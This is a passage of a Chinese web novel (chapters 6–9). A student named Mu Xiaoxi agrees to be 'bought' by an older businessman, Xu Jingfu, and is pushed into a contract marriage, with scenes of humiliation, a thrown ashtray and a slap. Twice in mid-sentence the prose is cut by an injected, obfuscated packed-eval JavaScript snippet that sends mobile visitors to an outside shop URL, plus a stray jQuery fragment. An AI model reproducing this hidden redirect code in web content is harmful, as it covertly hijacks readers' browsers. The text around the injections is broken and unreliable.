“木小姐,你怎么在这里?你昨晚是睡在这儿的?”陈遇看到了她那一腿的蚊子包,担忧之色溢于言表,“发生什么事了?” 木晓晞坐了会儿,慢慢才清醒过来了。她看看周围的环境和人,再看看眼前的陈遇。 “我能在最后一天的最后一个小时,最后的五十九分五十九秒做决定吗?” “什么?” “您说徐叔叔不喜欢迟到。”她努力地笑了笑,很真诚地说,“您告诉他,我不会迟到的。” 然而,徐敬孚的电话这时刚巧打了过来。 陈遇接起来后说了当前的情况,于是徐敬孚让他把人带到他的办公室里去,他很快就到公司。 就这样,木晓晞连最后的时间都没有了。她被直接带进了那个开着窗都依旧满是窒息烟味的办公室,坐在上次她坐过的沙发位置上。 陈遇去餐厅给她拿了一份营养早餐,一杯香蕉汁,还有一块香草蛋糕,之后便让她耐心等待。 徐敬孚进来的时候,木晓晞正在喝果汁。 他关上门,看到她那双明显水肿和上次不太一样的眼睛,慢慢地深深地拧起了眉。他在门口停留了好一会儿,才走进来,不过他没有走近木晓晞,而是走到了离她比较远的办公桌边,一边拉开抽屉拿烟和打火机,一边问:“怎么回事?” “……” “这么快就做出选择了?”他把烟点着,抽了一口,深深地看着她,“希望你的选择是明智的。” 木晓晞问:“我如果选做你的女儿,你真的会把我当成亲生女儿吗?” 徐敬孚又抽了一口,乏味地扯了下嘴角,烟雾漏得到处都是:“想了这么几天,就想出这么一句话?” 女孩儿直直地毫不回避地盯着他,固执地等着他的回答。 那执拗的眼神,让他莫名升起一股愤怒。他知道木晓晞为什么会问出这个问题,他站在桌边抽了半根烟,冷静下来,决定还是不跟孩子计较,他努力让自己的语气稍微好一些:“……当然,并且如果我是你,我会建议你选择这一条,履行更少的责任,还可以继承我的部分遗产。” “为什么一定要是女儿?” 徐敬孚打算碾烟的手滞住了。 为什……么? 他抬起头:“……什么意思?” 木晓晞说:“女儿这个身份会让您感觉到更有优越感,也更刺激吗?” 徐敬孚一动不动地盯着她,一度他以为自己听错了,火星从烟头往上一点点地燃,快要燃到他的手指时,他才说了两个字:“继续。” “叫着您爸爸,再做情人该做的事,会让您感觉更有掌控一切的满足感吗?” “砰!” 一声巨响,烟灰缸砸到了木晓晞面前的茶几上,将玻璃茶几直接砸出了裂纹。烟灰缸顺着玻璃面滑了出去,撞到沙发旁的盆栽花盆上,再弹射到地面,飞出老远,到处都是玻璃碎片。 木晓晞没被吓到,她的心脏一点也没有怦怦跳,很平静。 她坐得端正,很平静地看着对面那个铁青着脸的暴怒的男人,一点也不怕对方会将她如何,即便如何,她也不会尖叫。 她没有偃旗息鼓。 “说中了吗?” 7. 第 7 章 (七) 冬天的河水太冰了,你会冷的。 小屁孩,你懂个屁。 我明天还想吃橙子,你帮我剥好不好。 不好。 好嘛。 快去上学。 学校门还没开呢。 我要走了。 徐敬孚,明天给我剥橙子呀,拉钩上吊一百年不许变。手指呢,你的手指呢?给我,就像这样拉,好啦!明天…… 男人撒开手掉头离开。 明天我也给你拿一个橙子,我们一起吃啊!徐敬孚!叔叔!徐叔叔! 徐敬孚无论如何都想不到,曾经那个给了他生的希望的孩子如今会变成这番模样,还能对着他说出这些话来。 “徐叔叔,选择我已经做好了,我选……” “陈遇!!!” 徐敬孚掉头走到门口猛地拉开门,朝着楼道再次雷霆万钧地怒吼了陈遇的名字。很快陈遇过来了,满头雾水:“徐总?” 徐敬孚走到办公桌里侧背对着他们,快速地朝门口挥了一下手。陈遇不太明白他手势的意思,然后看了一眼房间另一侧的木晓晞,这时他才注意到茶几上还有地面上的狼藉。他打给木晓晞的早点、甜品落在地上,一只咖色的玻璃烟灰缸碎在地面上。 “这……”发生什么了? 他用眼神疑惑地询问木晓晞,幸好她看起来好像没什么事,她甚至还稍微欠了一下腰,跟他点了一下头表示了问候。 他又回过头看了看徐敬孚,只见穿着深灰色衬衣的他稍稍弓着腰靠在办公桌边,后背紧绷肌肉贲张,一双健壮的手臂青筋暴起宛如一张绷紧了随时会发射出去的利剑,一只拳头若铁弹紧握着搁在桌上,仿佛攥紧了什么东西。 跟在徐敬孚身边两年了,陈遇也从未见到徐敬孚这样一面,以至于他也愣了一下,一时不知该如何处理眼下的情况。 他看到那张背对着他们的后背随着深长的呼吸扩开,肌肉往两侧扩张,再随着沉重的呼气慢慢降落。 这样的过程持续了有三到四次,房间内暴怒僵持的气氛才被勉强破开了一条细细的口子。 “出去。”徐敬孚低声说,他的拳头松开,半根被暴力捏烂的烟从他手里落下来,他还是背对着他们,“陈遇,带她出去。” 木晓晞站起来:“我已经选好了。” “出去。” “……” 陈遇只好走过去跟木晓晞低声说:“木小姐,我们先出去。” 木晓晞却不走,陈遇试图拉她的手臂,她也很剧烈地将手抽出来往侧边退了两步,她死死盯着办公桌那一边的背影,眼神坚定:“陈秘书,我有话要跟徐叔叔说,请你出去。” 没想到木晓晞会说出这样强硬的话,陈遇一时间左右为难。 而徐敬孚对于这句话也没有表态。 又是一阵僵持。 木晓晞站得笔直,不怯不躲地直视男人的背影,是和第一次来这个办公室时很不一样的姿态。而徐敬孚则与她完全相反,在没人看到的角度他缓缓地疲惫地闭上了眼,随着眼帘的闭幕,那其中难以言喻的巨大失落和失望被重新埋进了眼底。 “陈遇,你先出去吧。” “……”陈遇看了下地面上的狼藉,有点担心。 徐敬孚转过身来,已经恢复了平日的理智和冷静:“从现在开始十分钟后,你过来接她,出去的时候把门带上。” 闻言,陈遇微微点头:“好的徐总。” 说罢离开了房间,将门带上了。 等人离开后,徐敬孚坐到了他的老板椅上,直直地面对那张稚嫩又执拗的脸庞:“我的事很多,你只有十分钟。” “不用十分钟。”木晓晞早就做好了决定,“我选好了,我选第二个选择。” 饶是已有心理准备,但真的听到答案的时候徐敬孚的眼皮还是没忍住往下耷拉了一下,捏灭了烟头的手心有些隐隐的灼痛,不过他依旧直视着木晓晞:“所以第二个选择的内容是什么?” 那只抓着白裙子的手抖了一下。 徐敬孚看到了:“怎么,没勇气说出来?” 做出这个决定已经是木晓晞亲手撕碎了自己的自尊和体面得出来的行动,而亲口说出那赤裸裸的话,对现在的她来说还有些艰难。 她活到二十岁,连正儿八经的恋爱都没有谈过一次,如今却要亲口卖掉自己。 “我替你说?”徐敬孚看出了她外强中干外表下的怯懦和羞耻,不屑地嗤了一声,一个字一个字道,“第二个选择是,按你爸计划的那样,卖给我,做我的女人。” 如此直白的话一落下,木晓晞那双浮肿的眼睛霎时就又红了一圈。不过她依然顽强、倔强,瞪大了一双杏眼挺直地站着,一身白裙,像朵清高的还未盛开的白莲。 “难听吗?”徐敬孚问。 她将眼泪牢牢地禁锢在眼眶内:“还好,是实话。” 徐敬孚点点头:“喜欢被这样评价吗?” 她说:“一手交钱一手交货,货物怎么被评价是买家的事。” 徐敬孚脸上浮现出一丝冷酷的笑意:“是吗?看来你很清楚你的处境,既然你已经有充分的心理准备,那不妨再把话说得更清楚直白一点,你认为你爸开出的那个价,合理吗?” 木晓晞没说话,但那两行眼泪总算没能承受住这句残忍问话的重量,从眼角簌簌地滚落下来。哭得很漂亮,眉头都没皱一下。 这样优秀的坚强和毅力用在这种地方,男人脸上的笑意更加讽刺了一些。 “你想知道像你这样的女大学生,平均市场价是多少吗?” 木晓晞眨了下眼,没什么表情的脸上已经一片濡湿。 “一个亿……我凭什么为你花一个亿。”徐敬孚的质问还在继续,“你知道一个亿是多少吗?你知道像你这样的外语专业的学生毕业以后一年能拿多少工资吗?你知道如果仅凭工作,你要花多少年才能赚到一个亿吗?” 他站起来,双手插进裤兜里慢慢走到她的身边来,微微抬着下巴垂着双眼睛居高临下地看着她。 看着她的眼泪是如何一串一串地滚落,看着她哽咽的喉咙和胸膛是如何一下一下难以抑制地抽动,看到那落在衣领上的水迹将布料晕染出了一片透明。女孩儿依然平视着前方,哪怕她的前方就是男人的胸膛和随着一字一句耸动的喉结。 “木晓晞,钱没那么好赚的。” 木晓晞长得很漂亮,不是那种五官精致得毫无差错的漂亮,而是一种没被污染过的像无人踏足的雪地里的湖泊一样的漂亮,清澈,纯粹,还带着些倔强,高傲和孤僻,是徐敬孚曾经想象过的那个小女孩长大以后可能会有的样子。 这些年他偶尔也回去过那个省,那个市,那座桥。 偶尔也会回忆起那个给他橙子的小不点,那个跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200746|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说孤单了就和星星说话的小孩儿。这些年不是没想过要再去看她一眼,相反,他经常想,每一次觉得有困难快要过不去的时候,他就想去看看。 可理智阻止了他。 也幸好阻止了他。 “我一直在想,你有木钧这样一个父亲,也许对你的人生来说是一种不幸,可现在看来,你可能还要感谢他教会了你最现实的一课,而这一课则由我来亲自给你上……你回去告诉木钧,不要说一个亿,你在我眼里,连一千万,一百万都不值。” 他抬起那只经常夹着烟的手,用粗糙的满是烟味的手掌给她重重地擦去两边脸颊上的水迹。 “我希望你清楚,我是个商人。” 手掌还没离开脸颊,新的湿润便再次涌向了他的手心,没完没了。女孩儿终于抬起了头,抬起了眼,她的脸上展现出了一种超越她年龄的令人心碎的成熟和平静,那双原本应该宝石一样璀璨的眼睛此刻被一种他曾经很熟悉的情绪无情地占领。 女孩问他:“你觉得我值多少钱?” 擦泪的手被电击似的抖了一下。 “徐叔叔,你觉得我值多少钱就给多少钱,不值一百万,那十万呢?不值十万,那一万呢?如果一万也不值的话,那一千,一百……”女孩儿边流泪边问,“十块钱呢?” 他的右脚也不自觉地往后退了一寸。 女孩儿低下眼笑了笑,仿佛在笑自己的廉价和无用,眼泪一滴一滴地坠落,刚好掉在徐敬孚的皮鞋尖上,好像在用她的眼泪卑贱地清洗着那双昂贵的皮鞋上的灰尘。 “十块钱也不值吗?”木晓晞还试图笑开玩笑,“再低不行了,那跟白给没区别了,是吧,徐叔叔?” 她抬起手臂快速地把眼睛擦了擦,抬起头再次对着男人笑,她看到了男人脸上的难以置信,她想或许对方没料到她会便宜成这样。廉价吗?不怪木延那么说,连她自己都觉得自己卑贱。 可那又怎样呢? 她要钱。 “叔叔,把我买了吧。”她轻声说,“然后你去告诉我爸爸,说,我已经是你的女人了,让他从此以后与我断绝往来,不要再和我联系了。” 徐敬孚再一次说:“做我的女儿,依然可以实现你的愿望。” 木晓晞却摇头:“不可以。” 她眼中的决绝好似那个冬天那个黑夜那座桥下冰冷冻结的河水,而当她闭上眼时,夜幕中漫天的星星也仿佛一起灭了。 女儿这个词,她这辈子都不想听到了。 这个词对如今的她来说,比做别人的情妇还叫她羞耻。 女儿。乖女儿。 爸爸爱你。 呵。 多可笑。 “我这辈子,永远不会再做任何人的女儿。”她说,“永远。” 恍然间,十三年前的声音在耳边响起—— 叔叔,你要是我的爸爸就好了。 这辈子算了,下辈子吧。 徐敬孚闭上了眼,沉默了很久。 终究,他还是没能再说出什么。他转过身回到办公桌边坐下,拿过桌面上的文件和钢笔放在面前,低着头开始翻起纸页来:“好了,十分钟到了。” 同一时间,办公室的门也敲响了。 他不再流露出任何情绪波动,仿佛进入了公事公办的流程。 “回去等我通知吧,星期三下午两点二十三分前给你答复。” 8. 第 8 章 (八) 在木晓晞过去二十年的人生中,从未有过这样漫长的两天。 周日那天还是陈秘书将她送回的学校,这一次没有开那辆昂贵到卖了她也买不起的车,但同样还是开着另一辆据说“普通”但依然卖了她还是买不起的车,陈秘书说那是他自己的车。 陈秘书比她只大七八岁,却能买得起一辆三四十万的车,而她就算主动送上门,也会依旧被定义为一样一文不值的货物。 下车前她向陈秘书开口借了钱,她也不知道自己为什么会有勇气向一个陌生男人开这样的口,她想也许是陈秘书是这几天的时光里为数不多在看到她的狼狈后还依然给了她照顾和尊重的人。虽然大概率,这种尊重只是一种修养和礼节使然。 陈秘书借了她钱,加了她的微信,转给了她一千元,而她其实只要求借两百。 “收下吧,我会问徐总要回来的。”陈遇非常直接地说,“还有,把我从黑名单里拉出来吧,一般情况下,没有事我不会骚扰你的。” 说着,递给她一张手帕。 两天的时间里,她像一个梦游的人一样,每天不知道自己在干什么,不清楚自己在说什么,不过她还是很稳定地维持住了表面的生活,和宿舍同学们正常地说笑,正常地去上课,依旧一个人去吃饭、洗澡、上自习。 她拉黑了木家一家人包括自己所有的亲戚的全部联系方式,把手机关了静音,每天也不带出宿舍,除了晚上回来睡前看一眼时间,除此之外碰也不碰手机。马上期末考试了,她将所有的心思都用在了学习上。 转眼时间就到了周二傍晚。 李苁说她:“哇,木晓晞,熄灯了才从图书馆回来啊,你这是想考满分吗?没必要吧?搞得我们都焦虑了。” 周静静说李苁:“你不爱学还不让木晓晞学啊?不过晓晞你也太拼了,前几天不刚生了病吗?家里人又出事,你还大老远跑回去看,真不给自己一点儿空闲啊?别累着了,Louise说期末题没那么难,不至于这么早准备,轻松点。” 说着俩人就携手出门去操场了,她们报了同一堂太极课,据说太极课的招式比法语变式还难得多。 “对了,晓晞你没吃饭吧?”石兰刚洗完澡回来。 “没呢,怎么了?” “一起出去吃个饭啊?商业街去,我请你,明天不是你生日吗?” 木晓晞愣住了:“啊?” 石兰大大地对她笑,把一头短短的湿发甩得飞起来:“去年就忘了给你过了,今年我专门记着呢,不过我明天可能没空陪你,明天我有一个社团活动,早就定好了的我也不好放鸽子,就今晚出去吧,我陪你提前过个生日。” 她还是没反应过来。 石兰两只手捧住她的脸搓了搓,夸张地说:“不要太感动,我过生日你不也记着么,什么表情这是,给我笑!笑!” 她努力地想笑,但眼眶还是憋不住地红了。 “哎呀,看你,破坏氛围,罚你多吃十块钱的关东煮,先说好啊,我可没钱,请不了你什么贵东西,吃个串串去吧,有一家挺好吃的,还有上次买驴打滚那家,他们家绿豆糕也挺好吃的,你不是喜欢吃么……赶紧收拾,别墨迹啦!走走走!” 两人最后去吃了一肚子的关东煮,烤了一堆面筋肉串,最后买了一袋绿豆糕和两根雪糕,全是石兰付的钱,一共花了九十六。 俩人一路嗦着雪糕回来,她最近不太想说话,所以大多时候就石兰一个人在说,幸亏她神经粗,也不在乎氛围好不好,想到哪句说哪句,从当代时政到经济发展,从亚太娱乐圈到欧美娱乐圈,从卡通动漫到狗血日韩剧。 一直说,说到快到学校门口的时候,她们在等红灯过马路。 木晓晞认真地吃着冰棍看着路边川流不息的车辆,这时,她忽然听到石兰说:“你家里是不是出什么事了?” 她嗦冰棍的动作一顿,不过还是佯装无事:“啊?何出此言啊?” “有吧。”石兰目不转睛地盯着前方,也不看她,“最近你的状态很差,又是吐,又是头疼,又是晕过去,这两天连话都不爱说了,吃也吃得不如以前多,肯定是有什么事,不然你怎么会这样?” “……”她平时谎言一个接一个,毫无心理障碍,但这会儿却不知怎么撒不出个像样的谎来。 石兰转过头来看她的侧脸:“感觉你都要哭了。” 她立马反驳:“没有!” 石兰哼笑着捏了下她的鼻子,看到绿灯亮了,拉过她的手往前去过马路,两只手相接的温热让木晓晞有些不习惯下意识缩了一下,不过石兰很强硬地捏着她的手一路走过了马路到了另一头。 到了另一头后才松开手,不高兴地抱怨说:“缩什么缩,都是朋友我还不能拉你手了,边界感真够强的。” “没有……”木晓晞小心地看石兰的脸色,“你不高兴了?” 石兰哼了声:“你还会怕我不高兴吗?这两天给我甩多少脸色,叫你你还装听不见,昨天我在图书馆给你打招呼你愣跟没看见似的从我旁边过去了,你说我高兴吗?” “啊?有吗?” “有啊!” “我不记得了,你昨天也在图书馆?”她完全没记忆,“我真没有不理你,可能,可能我那会儿刚好是在想事呢,走神了,就没注意到你,而且我也没装听不见,我只是……” “只是什么?”石兰斜睨她。 她不知道怎么说:“我……” “好了。”石兰拿肩膀撞她一下,“开个玩笑而已,平时你回个信息都是秒回的,我还能不知道你?” “对不起。” “所以你是真的遇到什么事儿了吧?” “……” “很大的事儿吗?” 她犹豫了一下,还是点了点头。 “能说吗?” 不能。 石兰也没有逼迫她,跟爱八卦的李苁不同,她向来不爱打听别人的事,于是两人提着东西继续往前走,又走了一会儿,石兰才突然又说:“不想说就不说吧,等你想说的时候可以找我,不管怎么样……提前祝你生日快乐,祝你新一年健健康康,天天开心。” 石兰笑起来总是很灿烂,真诚,不像她。 其实,木晓晞大一的时候是个严肃得过分,连笑都不太会笑更不要说开玩笑的人,如今她能学会虚头巴脑地笑脸迎人应付场面,实际上都是从石兰这个模版身上模仿来的,石兰身上的热情、大方、开朗、亲切还有那总是不怕受伤的主动和勇气,大约是她这种心里有一个大黑洞的人一辈子都难以学来的。 她有多喜欢石兰,就有多厌恶自己。她最厌恶的是,在这种时候除了那些虚伪的套话她甚至不知道该怎么回馈对方的真诚善意,她只会说谢谢,可“谢谢”这两个字,却是石兰这样的人身边最不缺乏的东西。 于是她低下头想了很久,但她想来想去却依然不能从自己的经验库里找到更妥帖的回应,正当她为自己的空洞和浅薄感到羞愧时,身旁的短发女孩儿突然说—— “‘我很开心得到你的祝福,我会的’,不知道怎么回复我的话,就这样说吧。” 木晓晞忽然鼻子发酸。 石兰笑眯眯地说:“接受我的祝福吧我的朋友,我会很开心的。” 周三的早上体育课间隙时,陈遇给她发来微信,问她中午12点到2点之间是否有空。 木晓晞看到那条消息时呼吸都停住了,接着心脏便开始因缺氧剧烈地砰砰跳动起来。良久,她回复道:【有空】。 今天周三,下午是没有课的。 【徐总和李助理今早专程过来你学校这边了,定了你们学校的西餐厅的一个包间,我给你发包间号,你到时候直接去找徐总就可以了。】 看到这条信息的瞬间,她感觉自己的脑袋嗡了一下。 【可以不在学校里面见面吗?】 【徐总这个点应该早已经到了,要不我现在联系他跟他说一下?】 木晓晞:“……” 加油木晓晞,伸头一刀缩头也一刀。 她这样跟自己说。 【没事,不用。】 后面那半节课最后都不知道是怎么过去的,木晓晞的腹部一直不怎么舒服,有种吃坏了肚子的感觉,但她知道不是吃的东西的问题,她一直都这样,一过度紧张就会有肠胃反应。 忍了又忍,还是没忍住,她去了卫生间。 学校的西餐厅在图书馆的旁边一座大楼上,一楼是咖啡厅,二楼是西餐厅,三楼是会议室,是平时用来接待领导和外来人的地方,环境整体比较简单雅致,和图书馆的风格类似,很简约也很安静,学生平时来这里吃饭是需要提前预约位置的,她不知道徐敬孚是怎么预约到的,大概有钱人的世界就没什么事不好办吧。 毕竟查她跟木钧的资料都简单得跟吃饭喝水一样,何况是订个内部餐厅。 去西餐厅的路上还遇到了去图书馆的同学,这让木晓晞连通过深呼吸来调节紧张的机会都没有,她只好佯装无事和同学一路说笑着过去,到地方后同学还挤眉弄眼地问她:“你跟谁去西餐厅吃饭啊?男朋友啊?这么有仪式感?” 她不知道怎么回,只好尴尬地笑,还没等她想好怎么说,同学就露出一个了然的笑来跟她拜拜,说了声“约会快乐”,接着转头就跑掉了。 她看着同学离开后,在原地反复地调整了好几次帆布包袋子在肩膀上的位置。 她长长地出了两三次气,给自己暗暗鼓了劲后才转过身去,没想到刚抬起头,就看到了正往外一边走一边往脸上架墨镜的徐敬孚。他的身边还跟着一个相当年轻且漂亮的女士,大约就是陈秘书说的那个李助理。 她一下子僵在原地。 带着墨镜的徐敬孚看到她后也停了下来,李助理在旁边低声问:“徐总,是那位木小姐吗?” 徐敬孚点了下头,然后迈开脚步再朝木晓晞走过去,结果对方看到他的动作不禁往后退了两步。徐敬孚挑了下眉,停在了原地。 今天他穿了一件浅蓝色的POLO衫配了一条米灰运动长裤,李助理身上背着网球袋,也是一身运动装。 大概是看木晓晞的戒备动作太明显了,徐敬孚偏过头跟李秀说:“你自己先去转转,等我联系你。” “好的。” 李助理说着便将手里的公文包递给了他,背着网球袋离开了,走的时候还抬起手跟木晓晞远远招呼了一下。她看起来比陈遇还要年轻,就她那一身朝气蓬勃的运动装和高马尾,说是学生怕不是也有人信。 等人走了,徐敬孚才摘下墨镜,站在原地等着木晓晞。 木晓晞没有办法,只好硬着头皮走了过去。 徐敬孚:“听陈遇说你不想在学校里面吃饭,那去哪里?你决定吧,找个有包厢的方便谈事的地方就可以。” 她头都不抬:“西餐厅就可以。” 徐敬孚很干脆,掉头便往西餐厅走,她连忙跟上,在后头听见徐敬孚跟里头的服务员说:“还是那个包厢,谢谢。” 然后两人在服务员的带领下进了包厢,给两人倒了水上了零食小吃,徐敬孚问她吃什么,她脑子都是糊涂的,糊弄道:“都行。” “都行是什么饭?” “……” “你点。”徐敬孚把菜单递过来给她,“点两人份的,我也都行。” 木晓晞拿着菜单有点懵:“您……您吃什么?” 徐敬孚喝了口柠檬水:“都行。” 都行是什么饭? 木晓晞张了下嘴,没说什么,低下头去看菜单。 这份菜谱上的菜在她看来并不便宜,一份牛排最便宜的都要六十几,一小份意面要三十几,蔬菜沙拉都要二十八,还都是一些最便宜最普通的菜。不知道这种价位的餐厅怎么会开到挤满了穷学生的学校来的,想来还是有人能消费得起。 她看了徐敬孚好几眼,见他已经拿出手机来看,并没有一点要接过菜单点菜的意思,想来对方是非要她点餐不可了。她只好暗暗咬了下嘴唇,叫来了服务员,按照她对营养餐和西餐菜式的理解,点了两份餐。 一份是按菜单里的最高规格来点的,一份是按最便宜的规格来点的,加起来这一餐恐怕要花掉四百二十九。 而徐敬孚的餐就值三百五十五。 她前头跟陈遇借了一千,这两天的生活费花了三十五,还剩九百六十五,昨天又接了两个定制头像,还可以赚两百块,一周交稿,而且食堂三楼有一家店最近也在招兼职,她准备去应聘一下,如果能在食堂成功应聘,她以后吃饭就不用付钱了。 就算今天花出去四百二十九,也还剩五百三十六,省着点的话可以花一个月,之后忙完期末考她想办法多接接单子,打打零工,也还是能活下去的。 她满脑子盘点着自己的生活费开支规划,确定好了菜品。 “点好了?” 她点头。 徐敬孚问服务员要来点好的菜谱从头到尾看了一遍,然后指了几个菜,让服务员换了。 全换成了最贵的那几样。 木晓晞心里一咯噔,不过她也什么都没说,拿出手机来起身跟着服务员去前台付了钱。回来关上包厢门准备坐下的时,她听到徐敬孚头也不抬地说:“一共花了多少?” “……”她不明白他为什么要这么问,不过还是回答了,“七百。” 徐敬孚把手机放下,一只手放在腿上轻轻点着,没说话。 然而就算不抬头,木晓晞也能感受到对方的目光是一直停留在自己的身上的,那目光像长了数不清的小刺扎在她的皮肤上,让她一动不动地坐在原地也仿佛在受刑。她想让自己显得不要那么怂,于是坐得稍微直了一点,下巴也抬高了一些,不过她不太愿意直视男人,所以稍稍垂着眼,因此实现只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200747|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得到那只放在桌面上翻来覆去地倒弄手机的大手。 那是一只相当有力的筋骨强健的手,骨骼很大,骨节分明,食指和中指的上半截内侧位置有些发黄,应该是拿烟太多导致的。手掌也有些发黄,应当是老茧。 她记得那天在办公室那只手拂过她的脸颊时,粗糙的老茧将她的脸摩擦得有些发疼的感觉。 就像这个人给她的感觉一样,明明说出来的话都是能将她的自尊撕得七零八落破碎不堪的,让她在听到那些话的瞬间就恨不得自己不要再继续活在这个世界上才好,可又不知道怎么,那粗粝的令人疼痛的老茧之下似乎又藏着一些隐晦到仿佛是幻觉的温和。 这幻觉让她在这两天偶尔回想起那天的事时甚至开始怀疑,怀疑他其实并非想要羞辱自己,怀疑他说的那句“你可以给我做女儿”有可能是出自真心,怀疑那个朝她砸过来的烟灰缸并不是出于…… “以后陈遇会在每个月的今天定期给你打钱,有额外的财务需求你跟他说,只要在合理的需求范围内,都可以满足。” 木晓晞的瞳孔一下子缩紧。 “刚刚你看到的那位女士叫李秀,秀丽的秀,比你大不了几岁,是我的生活助理,以后也是你的半个生活助理,之后有任何女性方面不便和我说的需求你都可以跟她提,让她帮你办。” “我的私人电话你应该有了,存下来,不过一般情况下我不希望你直接打我的手机,有事你可以发短信或者先联系助理,他们会代为转达,如果有十分紧急的情况,那可以打。” 徐敬孚说得很慢,以确保自己的话能被对方听得清楚。 “关于上次聊的事,我说过要给你回复……” 他看着对面忽然塌下脖颈垂下头的女孩儿,想到了曾经他当年第一次看到她时的样子,明明是同一个人,却让他感受不到一丁点过去的影子。 对她此刻的反应,他也并不感到失望,前两天已经失望过了,失望到他都在想也许过去的那些是一场梦,也许她不是那个孩子,也许是他记错了人,也许那些日子只是他臆想出来的回忆,也许,也许……也许这就是时间的力量。它可以叫一个人天真勇敢,也可以让一个人懦弱无能,可以让一个人重拾希望,也可以让一个堕入绝望。 绝望得连头都抬不起来,连自己的命运都不敢亲手接住。 “如果只是一个女大学生,确实是不值钱的。” 话音落下,他看到女孩儿的表情一下子变得一片空白,浑身仿佛被冻结住。只是眼睛里不像之前,并没有眼泪,只有麻木,这比眼泪更叫他不喜。 换作以前他也许会很同情,而如今,他已经三十七快三十八了,早已经过了会为别人的糟糕命运感到悲伤的年纪。即便会,也已经终止在了两天前的办公室里。 他给过对方机会,很多次,是她没有珍惜,所以他打算尊重对方的命运。 他继续说:“但是我这里刚好有特殊的情况,需要一个短期的妻子,时间一年到三年不定,等特殊情况结束后婚姻也结束。” 然后他从文件包里拿出一份书面资料推都她的面前。 “我看过你的身份证号,今天刚好二十岁整了对吗?生日快乐。” 他不知道自己是用什么样的心情说的这句轻飘飘的祝福,好像也没什么心情,也并没有祝福的意思在里头。二十岁,刚好是女性可以合法结婚的年纪。 果然,木晓晞在听到“生日快乐”四个字后总算有了反应,身体猛地一颤后,她慢慢地抬头,动作慢得掉渣。 像是过了一个世纪,那双眼终于看向了他。 很难形容那是一双怎样的眼睛,那是一种怎样的眼神,像是失望也像是希望再次破碎。或许她以为他会是她生命里的救星,可惜不是。 他毫不躲避地和那双眼对视,毫无波澜,也并不内疚:“你没有其他选择,如果你选择卖,就只能用这种形式卖给我。” “木钧那边的事我会找人去处理,答应你的我会兑现,等这份合约婚姻结束后,你会得到一本离婚证,而这本离婚证将作为你成长的代价永远跟随着你,永远提醒着你,你那些所谓的自尊心,到底有多么可笑。” 听到这句话,麻木的眼睛忽然有了波动,木晓晞笑了,眼里带着泪的那种。 服务员进来上菜了。 待一样又一样菜挨着上完,门重新被关上,徐敬孚拿起刀叉开始用餐,用刀叉熟练地切盘子里的牛肉,将一块最好的肉切下来后插起来放到她的盘子里。 “木钧昨天已经将所有的证件全部寄给我了,什么时候有空,去把手续办了。” “如果我不呢?”木晓晞问。 徐敬孚放了一块牛肉进嘴巴里嚼,嚼了一会儿吞了下去,端起杯子喝水,头也不抬地说:“那我会为你的骨气欢呼鼓掌。” “徐叔叔好像很希望我这样说。” 徐敬孚没有抬头,只是切牛排的刀将盘子割了刺耳的声响,动作也停了下来。 “您以为我会这么说吗?”木晓晞看到他的反应,不禁笑容变得更大,“给我两个选择,一个用来拯救我,一个用来羞辱我,给我一个契约妻子身份,既用来安慰我,又用来惩罚我。” 徐敬孚握着刀叉的手瞬间青筋暴起,木晓晞看到他强忍着怒火将刀叉放下,拿起水杯喝了口水,然后总算与她平视:“你是这么理解的。” “还能有第二种理解方式吗?”木晓晞笑着擦掉眼泪,拿过桌边填写餐后反馈表的笔,拿出他给过来的那份合约,连内容都不看便在上面唰唰地签上自己的大名,之后把合约推去徐敬孚面前,“谢谢您的善意,我签好了,有劳徐叔叔费心,您还是不要拯救我了,我这个人没什么骨气,所以我选择堕落。” “……” “谢谢您的生日祝福还有生日礼物。”她认真地对他说,“这一课,我受益匪浅。” “你学到了什么?” “我学到了,永远不要试图去反抗一个喜欢通过羞辱你来获得快感的人,因为你的反抗,只会让对方更加爽快,更加快乐,更加地……” “啪!” 木晓晞的脸朝着一边偏了过去,上面很快就浮现出一个又红又大的巴掌印。 徐敬孚站起来:“你爸妈没教过你怎么和长辈说话对吧?那我教教你。”他收回手,拿回桌上那份合约书,“以后和我说话,如果再有这样的表述,我还会打你。” 木晓晞倔强的泪眼屈辱地瞪着他。 “是不是想问凭什么?”徐敬孚冷笑着,垂眸睥睨她,“就凭我是一个喜欢通过羞辱别人来得到快感的人,不是你说的吗?我和木钧是一样的货色。” “没错,被你说中了。” 说罢他便起身离开了餐厅。 当天晚上,木晓晞就接到了李秀的电话,询问她期末考试什么时候结束。 李秀:“徐总说,让我等你考试结束之后来接你。” 9. 第 9 章 (九) 从小长到大,木晓晞没怎么挨过打,为数不多几次挨打都是因为和木钧顶嘴戳到了他的痛处。 小时候的她还不如长大后那样圆滑,很多时候说话没轻没重的,就像在西餐厅面对徐敬孚时一样,尽挑一定会触怒对方的话来说,而且很多话就是故意冲着激怒对方去的。而木钧是一个要么不打孩子,要么打起来会往死里打,打到对方屈服的那种人。 她跟木延都挨过木钧的打,不同之处在于木延总是那个第一时间就认错屈服的聪明孩子,而她不会,她会让木钧打到累了怕了为止,怕把她打死了。 也因此,后来木钧不怎么打她了。倒不是被吓怕了,而是他太聪明,知道这样做没用,这种硬碰硬对付不了她这种“越挫越勇”型选手,便换了个招数,换成了怀柔政策。这招挺好的,木晓晞确实挺吃这一套。 比如那张纸条,比如那一袋橙子,再比如装病卖惨。 